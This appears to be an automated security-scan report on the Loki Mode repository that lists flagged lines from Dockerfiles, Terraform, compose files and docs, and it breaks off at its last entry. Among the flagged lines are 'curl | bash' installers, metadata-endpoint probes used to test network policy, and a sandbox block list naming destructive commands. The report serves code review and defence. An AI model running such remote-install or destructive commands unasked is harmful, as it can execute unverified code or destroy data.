deploy/helm/control-plane/values.yaml

  • Access to secretsline 38
    [Credential-related source omitted]

deploy/terraform/modules/aws-ecs/main.tf

  • Access to secretsline 199
    [Credential-related source omitted]
  • Network accessline 217
    // reason the helm test hook retries instead of probing once.       healthCheck = {         command     = ["CMD-SHELL", "curl -fsS http://localhost:${local.control_port}/health || exit 1"]
  • Network accessline 218
    healthCheck = {         command     = ["CMD-SHELL", "curl -fsS http://localhost:${local.control_port}/health || exit 1"]         interval    = 30
  • Network accessline 219
    command     = ["CMD-SHELL", "curl -fsS http://localhost:${local.control_port}/health || exit 1"]

deploy/terraform/modules/aws/main.tf

  • Network accessline 601
    count      = var.create_cluster ? 1 : 0   name       = "aws-load-balancer-controller"   repository = "https://aws.github.io/eks-charts"
  • Network accessline 602
    name       = "aws-load-balancer-controller"   repository = "https://aws.github.io/eks-charts"   chart      = "aws-load-balancer-controller"
  • Network accessline 603
    repository = "https://aws.github.io/eks-charts"

deploy/terraform/modules/aws/outputs.tf

  • Network accessline 15
    output "dashboard_url" {   description = "URL to access the Autonomi dashboard."   value       = var.domain_name != "" ? "https://${var.domain_name}" : "http://<ALB_DNS>:57374"
  • Network accessline 16
    description = "URL to access the Autonomi dashboard."   value       = var.domain_name != "" ? "https://${var.domain_name}" : "http://<ALB_DNS>:57374" }
  • Network accessline 17
    value       = var.domain_name != "" ? "https://${var.domain_name}" : "http://<ALB_DNS>:57374"

deploy/terraform/modules/azure/outputs.tf

  • Network accessline 15
    output "dashboard_url" {   description = "URL to access the Autonomi dashboard."   value       = var.domain_name != "" ? "https://${var.domain_name}" : "http://<LB_IP>:57374"
  • Network accessline 16
    description = "URL to access the Autonomi dashboard."   value       = var.domain_name != "" ? "https://${var.domain_name}" : "http://<LB_IP>:57374" }
  • Network accessline 17
    value       = var.domain_name != "" ? "https://${var.domain_name}" : "http://<LB_IP>:57374"

deploy/terraform/modules/gcp/main.tf

  • Network accessline 124
    oauth_scopes = [       "https://www.googleapis.com/auth/cloud-platform",
  • Network accessline 125
    "https://www.googleapis.com/auth/cloud-platform",
  • Network accessline 159
    provider "kubernetes" {   host                   = "https://${local.cluster_endpoint}"
  • Network accessline 160
    host                   = "https://${local.cluster_endpoint}"
  • Access to secretsline 162
    [Credential-related source omitted]
  • Network accessline 165
    provider "helm" {   kubernetes {     host                   = "https://${local.cluster_endpoint}"
  • Network accessline 166
    kubernetes {     host                   = "https://${local.cluster_endpoint}"     cluster_ca_certificate = base64decode(local.cluster_ca)
  • Network accessline 167
    host                   = "https://${local.cluster_endpoint}"
  • Access to secretsline 169
    [Credential-related source omitted]

deploy/terraform/modules/gcp/outputs.tf

  • Network accessline 10
    output "dashboard_url" {   description = "URL to access the Autonomi dashboard."   value       = var.domain_name != "" ? "https://${var.domain_name}" : "http://<LB_IP>:57374"
  • Network accessline 11
    description = "URL to access the Autonomi dashboard."   value       = var.domain_name != "" ? "https://${var.domain_name}" : "http://<LB_IP>:57374" }
  • Network accessline 12
    value       = var.domain_name != "" ? "https://${var.domain_name}" : "http://<LB_IP>:57374"

docker/.env.example

  • Access to secretsline 3
    [Credential-related source omitted]
  • Access to secretsline 4
    [Credential-related source omitted]
  • Access to secretsline 7
    [Credential-related source omitted]
  • Access to secretsline 10
    [Credential-related source omitted]
  • Network accessline 16
    # Option 1 (default, recommended): Anthropic API key. # Get one at https://console.anthropic.com/settings/keys
  • Network accessline 17
    # Get one at https://console.anthropic.com/settings/keys
  • Access to secretsline 18
    [Credential-related source omitted]
  • Access to secretsline 21
    [Credential-related source omitted]
  • Access to secretsline 29
    [Credential-related source omitted]

docker/Dockerfile

  • Executable scriptline 1
    Executable file
  • Access to secretsline 3
    [Credential-related source omitted]
  • Access to secretsline 4
    [Credential-related source omitted]
  • Network accessline 31
    LABEL org.opencontainers.image.version="11.124.2" LABEL description="Loki Mode by Autonomi - Autonomous spec-to-product system (RARV-C closure loop). Providers: Claude Code (CLI or Agent SDK) and opencode" LABEL url="https://www.autonomi.de
  • Network accessline 33
    LABEL url="https://www.autonomi.dev/"
  • Dangerous shell operationline 39
    RUN apt-get update && apt-get install -y --no-install-recommends      bash      ca-certificates      curl      git      gnupg      jq      python3      python3-pip      python3-venv      redis-tools      && rm -rf /var/lib/apt/lists/*
  • Network accessline 39
    RUN apt-get update && apt-get install -y --no-install-recommends      bash      ca-certificates      curl
  • Network accessline 40
    bash \     ca-certificates \     curl \
  • Network accessline 41
    ca-certificates \     curl \     git \
  • Network accessline 42
    curl \
  • Dangerous shell operationline 50
    && rm -rf /var/lib/apt/lists/*
  • Dangerous shell operationline 53
    RUN curl -fsSL https://deb.nodesource.com/gpgkey/nodesource-repo.gpg.key | gpg --dearmor -o /usr/share/keyrings/nodesource.gpg      && echo "deb [signed-by=/usr/share/keyrings/nodesource.gpg] https://deb.nodesource.com/node_24.x nodistro ma
  • Network accessline 53
    RUN curl -fsSL https://deb.nodesource.com/gpgkey/nodesource-repo.gpg.key | gpg --dearmor -o /usr/share/keyrings/nodesource.gpg \
  • Network accessline 54
    && echo "deb [signed-by=/usr/share/keyrings/nodesource.gpg] https://deb.nodesource.com/node_24.x nodistro main" > /etc/apt/sources.list.d/nodesource.list \
  • Dangerous shell operationline 57
    && rm -rf /var/lib/apt/lists/* \
  • Network accessline 62
    ARG GH_VERSION=2.65.0 RUN ARCH=$(dpkg --print-architecture) && \     curl -fsSL "https://github.com/cli/cli/releases/download/v${GH_VERSION}/gh_${GH_VERSION}_linux_${ARCH}.tar.gz" -o /tmp/gh.tar.gz && \
  • Dangerous shell operationline 63
    RUN ARCH=$(dpkg --print-architecture) &&      curl -fsSL "https://github.com/cli/cli/releases/download/v${GH_VERSION}/gh_${GH_VERSION}_linux_${ARCH}.tar.gz" -o /tmp/gh.tar.gz &&      tar -xzf /tmp/gh.tar.gz -C /tmp &&      mv /tmp/gh_${GH_V
  • Network accessline 63
    RUN ARCH=$(dpkg --print-architecture) &&      curl -fsSL "https://github.com/cli/cli/releases/download/v${GH_VERSION}/gh_${GH_VERSION}_linux_${ARCH}.tar.gz" -o /tmp/gh.tar.gz &&
  • Network accessline 64
    curl -fsSL "https://github.com/cli/cli/releases/download/v${GH_VERSION}/gh_${GH_VERSION}_linux_${ARCH}.tar.gz" -o /tmp/gh.tar.gz && \
  • Dangerous shell operationline 67
    rm -rf /tmp/gh* && \
  • Dangerous shell operationline 74
    RUN apt-get update && apt-get install -y --no-install-recommends unzip      && rm -rf /var/lib/apt/lists/*
  • Network accessline 74
    RUN apt-get update && apt-get install -y --no-install-recommends unzip \     && rm -rf /var/lib/apt/lists/* \     && curl -fsSL https://bun.sh/install | bash -s "bun-v${BUN_VERSION}" \
  • Dangerous shell operationline 75
    && rm -rf /var/lib/apt/lists/* \
  • Network accessline 75
    && rm -rf /var/lib/apt/lists/* \     && curl -fsSL https://bun.sh/install | bash -s "bun-v${BUN_VERSION}" \     && mv /root/.bun/bin/bun /usr/local/bin/bun \
  • Dangerous shell operationline 76
    && curl -fsSL https://bun.sh/install | bash -s "bun-v${BUN_VERSION}" \
  • Network accessline 76
    && curl -fsSL https://bun.sh/install | bash -s "bun-v${BUN_VERSION}" \
  • Dangerous shell operationline 78
    && rm -rf /root/.bun \
  • Dangerous shell operationline 83
    RUN rm -rf /usr/lib/python3/dist-packages/setuptools* \
  • Access to secretsline 98
    [Credential-related source omitted]
  • Network accessline 99
    # credentials file (see docs/DOCKER.md). opencode remains # bring-your-own-CLI in Docker. # Use the RECOMMENDED native installer (curl install.sh) rather than the npm
  • Network accessline 100
    # bring-your-own-CLI in Docker. # Use the RECOMMENDED native installer (curl install.sh) rather than the npm # package: the npm path pulls the native binary via a per-platform OPTIONAL
  • Network accessline 101
    # Use the RECOMMENDED native installer (curl install.sh) rather than the npm
  • Dangerous shell operationline 108
    RUN curl -fsSL https://claude.ai/install.sh | bash -s stable \
  • Network accessline 108
    RUN curl -fsSL https://claude.ai/install.sh | bash -s stable \

docker/Dockerfile.control-plane

  • Network accessline 24
    FROM oven/bun:${BUN_VERSION}-slim AS runtime LABEL org.opencontainers.image.title="loki-control-plane" LABEL org.opencontainers.image.source="https://github.com/asklokesh/loki-mode"
  • Network accessline 25
    LABEL org.opencontainers.image.title="loki-control-plane" LABEL org.opencontainers.image.source="https://github.com/asklokesh/loki-mode" LABEL url="https://www.autonomi.dev/"
  • Network accessline 26
    LABEL org.opencontainers.image.source="https://github.com/asklokesh/loki-mode"
  • Network accessline 27
    LABEL url="https://www.autonomi.dev/"
  • Network accessline 43
    EXPOSE 47821 HEALTHCHECK --interval=30s --timeout=5s --start-period=10s --retries=3 \     CMD ["bun", "-e", "fetch('http://127.0.0.1:'+(process.env.PORT||47821)+'/ready').then(r=>process.exit(r.ok?0:1)).catch(()=>process.exit(1))"]
  • Network accessline 44
    HEALTHCHECK --interval=30s --timeout=5s --start-period=10s --retries=3 \     CMD ["bun", "-e", "fetch('http://127.0.0.1:'+(process.env.PORT||47821)+'/ready').then(r=>process.exit(r.ok?0:1)).catch(()=>process.exit(1))"] CMD ["bun", "/app/dis
  • Network accessline 45
    CMD ["bun", "-e", "fetch('http://127.0.0.1:'+(process.env.PORT||47821)+'/ready').then(r=>process.exit(r.ok?0:1)).catch(()=>process.exit(1))"]

docker/Dockerfile.sandbox

  • Network accessline 32
    RUN apt-get update && apt-get install -y --no-install-recommends \     ca-certificates \     curl \
  • Network accessline 33
    ca-certificates \     curl \     gnupg \
  • Network accessline 34
    curl \
  • Dangerous shell operationline 37
    && rm -rf /var/lib/apt/lists/*
  • Network accessline 40
    # Copied into the runtime stage below so build tools stay out of the final image. ARG BUN_VERSION=1.4.2 RUN curl -fsSL https://bun.sh/install | bash -s "bun-v${BUN_VERSION}" \
  • Network accessline 41
    ARG BUN_VERSION=1.4.2 RUN curl -fsSL https://bun.sh/install | bash -s "bun-v${BUN_VERSION}" \     && mv /root/.bun/bin/bun /usr/local/bin/bun \
  • Dangerous shell operationline 42
    RUN curl -fsSL https://bun.sh/install | bash -s "bun-v${BUN_VERSION}" \
  • Network accessline 42
    RUN curl -fsSL https://bun.sh/install | bash -s "bun-v${BUN_VERSION}" \
  • Dangerous shell operationline 44
    && rm -rf /root/.bun \
  • Network accessline 47
    # Install Node.js 20 LTS (required for Claude CLI and npm packages) # Security: Use official NodeSource repository with GPG verification RUN curl -fsSL https://deb.nodesource.com/gpgkey/nodesource-repo.gpg.key | gpg --dearmor -o /usr/share/
  • Network accessline 48
    # Security: Use official NodeSource repository with GPG verification RUN curl -fsSL https://deb.nodesource.com/gpgkey/nodesource-repo.gpg.key | gpg --dearmor -o /usr/share/keyrings/nodesource.gpg \     && echo "deb [signed-by=/usr/share/key
  • Network accessline 49
    RUN curl -fsSL https://deb.nodesource.com/gpgkey/nodesource-repo.gpg.key | gpg --dearmor -o /usr/share/keyrings/nodesource.gpg \
  • Network accessline 50
    && echo "deb [signed-by=/usr/share/keyrings/nodesource.gpg] https://deb.nodesource.com/node_24.x nodistro main" > /etc/apt/sources.list.d/nodesource.list \
  • Dangerous shell operationline 53
    && rm -rf /var/lib/apt/lists/*
  • Network accessline 55
    # Install GitHub CLI # Security: Use official GitHub repository with GPG verification RUN curl -fsSL https://cli.github.com/packages/githubcli-archive-keyring.gpg | gpg --dearmor -o /usr/share/keyrings/githubcli.gpg \
  • Network accessline 56
    # Security: Use official GitHub repository with GPG verification RUN curl -fsSL https://cli.github.com/packages/githubcli-archive-keyring.gpg | gpg --dearmor -o /usr/share/keyrings/githubcli.gpg \     && echo "deb [arch=$(dpkg --print-archi
  • Network accessline 57
    [Credential-related source omitted]
  • Access to secretsline 57
    [Credential-related source omitted]
  • Network accessline 58
    && echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/githubcli.gpg] https://cli.github.com/packages stable main" > /etc/apt/sources.list.d/github-cli.list \
  • Dangerous shell operationline 61
    && rm -rf /var/lib/apt/lists/*
  • Access to secretsline 88
    [Credential-related source omitted]
  • Network accessline 99
    LABEL org.opencontainers.image.version="11.124.2" LABEL description="Security-hardened sandbox for Loki Mode by Autonomi" LABEL url="https://www.autonomi.dev/"
  • Network accessline 100
    LABEL description="Security-hardened sandbox for Loki Mode by Autonomi" LABEL url="https://www.autonomi.dev/" LABEL org.opencontainers.image.source="https://github.com/asklokesh/claudeskill-loki-mode"
  • Network accessline 101
    LABEL url="https://www.autonomi.dev/"
  • Network accessline 102
    LABEL org.opencontainers.image.source="https://github.com/asklokesh/claudeskill-loki-mode"
  • Network accessline 120
    bash \     ca-certificates \     curl \
  • Network accessline 121
    ca-certificates \     curl \     # Version control
  • Network accessline 122
    curl \
  • Dangerous shell operationline 140
    && rm -rf /var/lib/apt/lists/* \
  • Dangerous shell operationline 142
    && rm -rf /var/cache/apt/archives/*
  • Access to secretsline 253
    [Credential-related source omitted]
  • Access to secretsline 327
    [Credential-related source omitted]

docker/docker-compose.yml

  • Access to secretsline 4
    [Credential-related source omitted]
  • Access to secretsline 7
    [Credential-related source omitted]
  • Access to secretsline 8
    [Credential-related source omitted]
  • Access to secretsline 9
    [Credential-related source omitted]
  • Access to secretsline 30
    [Credential-related source omitted]
  • Access to secretsline 32
    [Credential-related source omitted]
  • Access to secretsline 48
    [Credential-related source omitted]
  • Access to secretsline 49
    [Credential-related source omitted]
  • Access to secretsline 51
    [Credential-related source omitted]
  • Access to secretsline 60
    [Credential-related source omitted]
  • Access to secretsline 65
    [Credential-related source omitted]
  • Access to secretsline 76
    [Credential-related source omitted]
  • Access to secretsline 78
    [Credential-related source omitted]
  • Network accessline 85
    # BUG-DK-002: Health check for dashboard API when running     healthcheck:       test: ["CMD-SHELL", "curl -sf http://localhost:57374/health >/dev/null 2>&1 || loki version >/dev/null 2>&1"]
  • Network accessline 86
    healthcheck:       test: ["CMD-SHELL", "curl -sf http://localhost:57374/health >/dev/null 2>&1 || loki version >/dev/null 2>&1"]       interval: 30s
  • Network accessline 87
    test: ["CMD-SHELL", "curl -sf http://localhost:57374/health >/dev/null 2>&1 || loki version >/dev/null 2>&1"]
  • Network accessline 102
    - "8100:8000"     healthcheck:       test: ["CMD", "curl", "-f", "http://localhost:8000/api/v2/heartbeat"]
  • Network accessline 103
    healthcheck:       test: ["CMD", "curl", "-f", "http://localhost:8000/api/v2/heartbeat"]       interval: 10s
  • Network accessline 104
    test: ["CMD", "curl", "-f", "http://localhost:8000/api/v2/heartbeat"]
  • Access to secretsline 128
    [Credential-related source omitted]
  • Network accessline 186
    # /health is a real route on this server and does not touch the queue.     healthcheck:       test: ["CMD-SHELL", "python3 -c \"import urllib.request;urllib.request.urlopen('http://localhost:7373/health').read()\""]
  • Network accessline 187
    healthcheck:       test: ["CMD-SHELL", "python3 -c \"import urllib.request;urllib.request.urlopen('http://localhost:7373/health').read()\""]       interval: 30s
  • Network accessline 188
    test: ["CMD-SHELL", "python3 -c \"import urllib.request;urllib.request.urlopen('http://localhost:7373/health').read()\""]
  • Access to secretsline 211
    [Credential-related source omitted]
  • Access to secretsline 216
    [Credential-related source omitted]

docs/404.html

  • Network accessline 3
    <head>     <meta charset="UTF-8">     <meta http-equiv="refresh" content="0; url=https://www.autonomi.dev/">
  • Network accessline 4
    <meta charset="UTF-8">     <meta http-equiv="refresh" content="0; url=https://www.autonomi.dev/">     <link rel="canonical" href="https://www.autonomi.dev/">
  • Network accessline 5
    <meta http-equiv="refresh" content="0; url=https://www.autonomi.dev/">
  • Network accessline 6
    <link rel="canonical" href="https://www.autonomi.dev/">
  • Network accessline 61
    <h1>Loki Mode</h1>         <div class="spinner"></div>         <p>Redirecting to <a href="https://www.autonomi.dev/">autonomi.dev</a>...</p>
  • Network accessline 62
    <div class="spinner"></div>         <p>Redirecting to <a href="https://www.autonomi.dev/">autonomi.dev</a>...</p>     </div>
  • Network accessline 63
    <p>Redirecting to <a href="https://www.autonomi.dev/">autonomi.dev</a>...</p>
  • Network accessline 64
    </div>     <script>window.location.replace("https://www.autonomi.dev/");</script> </body>
  • Network accessline 65
    <script>window.location.replace("https://www.autonomi.dev/");</script>

docs/AGENT-CHANGE-RECEIPT.md

  • Network accessline 31
    `loki verify --export-dsse` prints a VERIFIED or ALREADY_SATISFIED receipt as an in-toto Statement v1 inside a DSSE envelope signed Ed25519 over the DSSE PAE bytes (`loki-ts/src/features/receipt_dsse.ts:1-33`). The subject is `git+commit:<h

docs/ARCHITECTURE.md

  • Network accessline 3
    Loki Mode is the flagship product of [Autonomi](https://www.autonomi.dev/): an

docs/CLI-CORE-VERBS.md

  • Access to secretsline 32
    [Credential-related source omitted]
  • Dangerous shell operationline 73
    | `loki doctor [--fix] [--json]` | Check prerequisites, providers and login. `--fix` creates state dirs and a default config and prints exact commands for the rest; never runs sudo |

docs/COMPARE-OPENCODE.md

  • Network accessline 35
    **Install and onboarding.** opencode installs as one tool and logs in to a provider. Loki needs Node.js 18+, Python 3.8+, git, jq, curl and a model:
  • Network accessline 36
    provider. Loki needs Node.js 18+, Python 3.8+, git, jq, curl and a model:
  • Access to secretsline 60
    [Credential-related source omitted]

docs/COMPONENTS.md

  • Access to secretsline 163
    [Credential-related source omitted]

docs/DEPLOY-PLAN.md

  • Network accessline 203
    Vercel:      brew install vercel       |  https://vercel.com/docs/cli
  • Network accessline 204
    Netlify:     brew install netlify-cli  |  https://docs.netlify.com/cli/get-started/
  • Network accessline 205
    Fly.io:      brew install flyctl       |  https://fly.io/docs/flyctl/install/
  • Network accessline 206
    Cloudflare:  npm i -g wrangler         |  https://developers.cloudflare.com/workers/wrangler/install-and-update/

docs/DEPLOYMENT.md

  • Access to secretsline 76
    [Credential-related source omitted]
  • Network accessline 99
    | Field | Value | |---|---| | Payload URL | `https://loki.example.com/webhook` |
  • Network accessline 100
    |---|---| | Payload URL | `https://loki.example.com/webhook` | | Content type | `application/json` |
  • Network accessline 101
    | Payload URL | `https://loki.example.com/webhook` |
  • Network accessline 223
    [Credential-related source omitted]
  • Access to secretsline 223
    [Credential-related source omitted]
  • Access to secretsline 224
    [Credential-related source omitted]
  • Network accessline 229
    [Credential-related source omitted]
  • Access to secretsline 229
    [Credential-related source omitted]
  • Network accessline 230
    https://loki.example.com/jobs/<id>
  • Network accessline 324
    helm test loki -n loki-verify --logs # Phase: Succeeded # GET http://loki-loki-mode-receiver:80/health -> 200 {"status": "ok", "service": "loki-trigger-server"}
  • Network accessline 325
    # Phase: Succeeded # GET http://loki-loki-mode-receiver:80/health -> 200 {"status": "ok", "service": "loki-trigger-server"} # PASS: receiver is serving
  • Network accessline 326
    # GET http://loki-loki-mode-receiver:80/health -> 200 {"status": "ok", "service": "loki-trigger-server"}
  • Network accessline 337
    kubectl port-forward -n loki-verify svc/loki-loki-mode-receiver 18080:80 & curl -s http://127.0.0.1:18080/status
  • Network accessline 338
    curl -s http://127.0.0.1:18080/status
  • Network accessline 387
    kubectl exec -n loki-verify "$W" -- curl -s --max-time 5 http://169.254.169.254/
  • Network accessline 395
    kubectl delete networkpolicy -n loki-verify loki-loki-mode-worker kubectl exec -n loki-verify "$W" -- curl -s --max-time 5 http://169.254.169.254/
  • Network accessline 396
    kubectl exec -n loki-verify "$W" -- curl -s --max-time 5 http://169.254.169.254/
  • Network accessline 457
    kubectl exec -it deploy/loki-worker -- \   curl -s --max-time 5 http://169.254.169.254/ && echo "NOT BLOCKED" || echo "blocked"
  • Network accessline 458
    curl -s --max-time 5 http://169.254.169.254/ && echo "NOT BLOCKED" || echo "blocked"
  • Access to secretsline 469
    [Credential-related source omitted]
  • Access to secretsline 470
    [Credential-related source omitted]
  • Network accessline 533
    loki start "a todo app with login" --deploy \   --destination production --domain todo.example.com --env-file .env.production \   --health-url https://todo.example.com/health --auto-rollback --github
  • Network accessline 534
    --destination production --domain todo.example.com --env-file .env.production \   --health-url https://todo.example.com/health --auto-rollback --github loki verify --url https://todo.example.com
  • Network accessline 535
    --health-url https://todo.example.com/health --auto-rollback --github
  • Network accessline 536
    loki verify --url https://todo.example.com
  • Access to secretsline 556
    [Credential-related source omitted]

docs/DOCKER.md

  • Access to secretsline 30
    [Credential-related source omitted]
  • Access to secretsline 31
    [Credential-related source omitted]
  • Network accessline 76
    # 1. Get the repo (provides docker/docker-compose.yml and docker/.env.example) git clone https://github.com/asklokesh/loki-mode.git
  • Network accessline 77
    git clone https://github.com/asklokesh/loki-mode.git
  • Access to secretsline 81
    [Credential-related source omitted]
  • Access to secretsline 82
    [Credential-related source omitted]
  • Network accessline 95
    docker compose -f docker/docker-compose.yml run --service-ports loki start --api prd.md # Dashboard at http://localhost:57374
  • Network accessline 96
    # Dashboard at http://localhost:57374
  • Access to secretsline 111
    [Credential-related source omitted]
  • Access to secretsline 112
    [Credential-related source omitted]
  • Access to secretsline 117
    [Credential-related source omitted]
  • Access to secretsline 118
    [Credential-related source omitted]
  • Network accessline 120
    -v "$(pwd)":/workspace \   asklokesh/loki-mode start --api prd.md # Dashboard at http://localhost:57374
  • Network accessline 122
    # Dashboard at http://localhost:57374
  • Network accessline 131
    [Credential-related source omitted]
  • Access to secretsline 131
    [Credential-related source omitted]
  • Access to secretsline 136
    [Credential-related source omitted]
  • Access to secretsline 137
    [Credential-related source omitted]
  • Access to secretsline 143
    [Credential-related source omitted]
  • Access to secretsline 144
    [Credential-related source omitted]
  • Access to secretsline 153
    [Credential-related source omitted]
  • Access to secretsline 156
    [Credential-related source omitted]
  • Access to secretsline 206
    [Credential-related source omitted]
  • Access to secretsline 207
    [Credential-related source omitted]
  • Access to secretsline 212
    [Credential-related source omitted]
  • Access to secretsline 213
    [Credential-related source omitted]
  • Network accessline 224
    [Credential-related source omitted]
  • Access to secretsline 224
    [Credential-related source omitted]
  • Network accessline 225
    [Credential-related source omitted]
  • Access to secretsline 225
    [Credential-related source omitted]
  • Network accessline 227
    asklokesh/loki-mode issue https://github.com/org/repo/issues/42
  • Access to secretsline 251
    [Credential-related source omitted]
  • Access to secretsline 254
    [Credential-related source omitted]
  • Access to secretsline 266
    [Credential-related source omitted]
  • Access to secretsline 271
    [Credential-related source omitted]
  • Access to secretsline 272
    [Credential-related source omitted]
  • Access to secretsline 273
    [Credential-related source omitted]
  • Access to secretsline 276
    [Credential-related source omitted]
  • Access to secretsline 290
    [Credential-related source omitted]
  • Access to secretsline 291
    [Credential-related source omitted]
  • Dangerous shell operationline 324
    | `LOKI_BLOCKED_COMMANDS` | SANDBOX-SCOPED: blocked `loki sandbox run` argv (does NOT filter agent commands) | `rm -rf /,dd if=,mkfs,...` |
  • Access to secretsline 388
    [Credential-related source omitted]
  • Access to secretsline 394
    [Credential-related source omitted]
  • Access to secretsline 398
    [Credential-related source omitted]
  • Access to secretsline 403
    [Credential-related source omitted]
  • Access to secretsline 412
    [Credential-related source omitted]
  • Access to secretsline 425
    [Credential-related source omitted]
  • Access to secretsline 429
    [Credential-related source omitted]
  • Network accessline 458
    - [GitHub Repository](https://github.com/asklokesh/loki-mode)
  • Network accessline 459
    - [Installation Guide](https://github.com/asklokesh/loki-mode/blob/main/docs/INSTALLATION.md)
  • Network accessline 460
    - [Documentation](https://asklokesh.github.io/loki-mode)
  • Network accessline 461
    - [PRD Templates](https://github.com/asklokesh/loki-mode/tree/main/templates)
  • Network accessline 465
    Business Source License 1.1 (BUSL-1.1). Source-available, not open source. See [LICENSE](https://github.com/asklokesh/loki-mode/blob/main/LICENSE) and [docs/LICENSE-CHANGE-NOTICE.md](https://github.com/asklokesh/loki-mode/blob/main/docs/LIC
  • Network accessline 469
    - [GitHub Issues](https://github.com/asklokesh/loki-mode/issues)
  • Network accessline 470
    - [Documentation Wiki](https://github.com/asklokesh/loki-mode/wiki)

docs/INSTALLATION.md

  • Network accessline 3
    Loki Mode, by [Autonomi](https://www.autonomi.dev/), turns a spec or an issue into a verified pull request with a receipt you can check. This page covers installing it, a first run, and the options around it.
  • Dangerous shell operationline 35
    Skips the bundled Bun binary (62 to 86 MB per platform), the Claude Agent SDK and the OpenTelemetry packages. You then need Bun on `PATH` (`curl -fsSL https://bun.sh/install | bash`); without it every command exits with an error that says h
  • Network accessline 35
    Skips the bundled Bun binary (62 to 86 MB per platform), the Claude Agent SDK and the OpenTelemetry packages. You then need Bun on `PATH` (`curl -fsSL https://bun.sh/install | bash`); without it every command exits with an error that says h
  • Network accessline 60
    | Node.js | 20+ (22 LTS is the CI target) | | git | any recent version | | curl | any |
  • Network accessline 62
    | curl | any |
  • Access to secretsline 64
    [Credential-related source omitted]
  • Access to secretsline 126
    [Credential-related source omitted]
  • Access to secretsline 158
    [Credential-related source omitted]
  • Access to secretsline 171
    [Credential-related source omitted]
  • Network accessline 224
    - `loki: command not found`: the global bin directory of your package manager is not on `PATH` (`npm prefix -g` shows where npm installs). - `the Loki 10 engine cannot run on this machine: no working bun` (exit 2, nothing runs): install Bun
  • Dangerous shell operationline 225
    - `the Loki 10 engine cannot run on this machine: no working bun` (exit 2, nothing runs): install Bun (`curl -fsSL https://bun.sh/install | bash`), or reinstall without `--omit=optional`.
  • Network accessline 225
    - `the Loki 10 engine cannot run on this machine: no working bun` (exit 2, nothing runs): install Bun (`curl -fsSL https://bun.sh/install | bash`), or reinstall without `--omit=optional`.

docs/KNOWN-ISSUES.md

  • Network accessline 3
    Issues in the current release that are known and not yet fixed. Report new ones with `loki crash` or at https://github.com/asklokesh/loki-mode/issues.

docs/OTEL-COLLECTOR.md

  • Access to secretsline 11
    [Credential-related source omitted]
  • Network accessline 12
    [Credential-related source omitted]
  • Access to secretsline 12
    [Credential-related source omitted]
  • Network accessline 14
    3. Point Loki at it: `LOKI_OTEL_ENDPOINT=http://localhost:4318 LOKI_OTEL_GENAI=1 loki start ...`.
  • Network accessline 16
    To use a subset of vendors, edit only `service.pipelines.traces.exporters` and list the vendors you use. The collector validates every defined exporter even when it is not listed, so the required fields of the other vendors carry inert defa

docs/PRIVACY.md

  • Network accessline 69
    - Endpoint: `https://us.i.posthog.com/capture/` (override with
  • Network accessline 196
    no_provider | not_logged_in | not_a_repo | git_identity | node | python3 | jq | git | curl | disk | skill_symlink | other
  • Network accessline 343
    Open an issue at https://github.com/asklokesh/loki-mode/issues and we will

docs/QUICKSTART.md

  • Access to secretsline 52
    [Credential-related source omitted]
  • Access to secretsline 103
    [Credential-related source omitted]

docs/SIGNED-RECEIPTS.md

  • Network accessline 51
    `tree_sha`, `receipt_sha256`, `run_id` and `built_at` in place, with the same Ed25519 key as a deploy record. Serve the result at `/.well-known/loki-provenance.json`. `loki verify --url https://host
  • Network accessline 52
    Ed25519 key as a deploy record. Serve the result at `/.well-known/loki-provenance.json`. `loki verify --url https://host [--pubkey FILE] [--receipt FILE] [--expect-sha SHA]` fetches it (5s timeout,
  • Network accessline 53
    `/.well-known/loki-provenance.json`. `loki verify --url https://host
  • Network accessline 83
    # Third party, offline. Needs proof.json and jwks.json -- nothing else. curl -s https://loki.example.com/.well-known/jwks.json > jwks.json
  • Network accessline 84
    curl -s https://loki.example.com/.well-known/jwks.json > jwks.json
  • Network accessline 87
    # Or fetch the key set directly from the server that produced the receipt. loki proof verify <id> --jwks https://loki.example.com
  • Network accessline 88
    loki proof verify <id> --jwks https://loki.example.com
  • Network accessline 122
    `loki verify <run-id> --export-dsse > receipt.dsse.json` prints a verified v10 receipt as an in-toto Statement v1 (`_type` `https://in-toto.io/Statement/v1`)
  • Network accessline 123
    receipt as an in-toto Statement v1 (`_type` `https://in-toto.io/Statement/v1`)
  • Network accessline 124
    inside a DSSE envelope (`payloadType` `application/vnd.in-toto+json`). The subject is the commit and tree the receipt covers (`gitCommit`, `gitTree`), the `predicateType` is `https://autonomi.dev/loki/receipt/v10`, and the predicate is
  • Network accessline 125
    subject is the commit and tree the receipt covers (`gitCommit`, `gitTree`), the `predicateType` is `https://autonomi.dev/loki/receipt/v10`, and the predicate is the receipt body unchanged. It is signed with the same Ed25519 receipt key (the
  • Network accessline 126
    `predicateType` is `https://autonomi.dev/loki/receipt/v10`, and the predicate is

docs/air-gapped.md

  • Network accessline 55
    REQUIRED  model inference -> https://api.anthropic.com
  • Network accessline 56
    optional  telemetry           [on]  -> https://us.i.posthog.com

docs/alternative-installations.md

  • Network accessline 12
    # Clone to Claude Code skills directory git clone https://github.com/asklokesh/loki-mode.git ~/.claude/skills/loki-mode
  • Network accessline 13
    git clone https://github.com/asklokesh/loki-mode.git ~/.claude/skills/loki-mode
  • Access to secretsline 71
    [Credential-related source omitted]
  • Access to secretsline 75
    [Credential-related source omitted]
  • Network accessline 108
    # Download the latest release and extract to the skills directory VERSION=$(npm view loki-mode version) curl -sL https://github.com/asklokesh/loki-mode/archive/refs/tags/v${VERSION}.tar.gz | tar xz
  • Network accessline 109
    VERSION=$(npm view loki-mode version) curl -sL https://github.com/asklokesh/loki-mode/archive/refs/tags/v${VERSION}.tar.gz | tar xz mv loki-mode-${VERSION} ~/.claude/skills/loki-mode
  • Network accessline 110
    curl -sL https://github.com/asklokesh/loki-mode/archive/refs/tags/v${VERSION}.tar.gz | tar xz
  • Access to secretsline 136
    [Credential-related source omitted]
  • Network accessline 143
    | --- | --- | --- | | `npm install -g loki-mode` | Loki, a bundled Bun binary and the Claude Agent SDK as npm optional dependencies | Node 20+, git, curl, and one execution path above (python3 and jq are optional) | | `npm install -g loki-m
  • Network accessline 144
    | `npm install -g loki-mode` | Loki, a bundled Bun binary and the Claude Agent SDK as npm optional dependencies | Node 20+, git, curl, and one execution path above (python3 and jq are optional) | | `npm install -g loki-mode --omit=optional`
  • Network accessline 145
    | `npm install -g loki-mode --omit=optional` (slim) | Loki only; no bundled Bun, no Agent SDK | Everything above, plus Bun from https://bun.sh for the Bun route. Without Bun, `bin/loki` falls back to the bash CLI. The API-key path is unavai
  • Network accessline 161
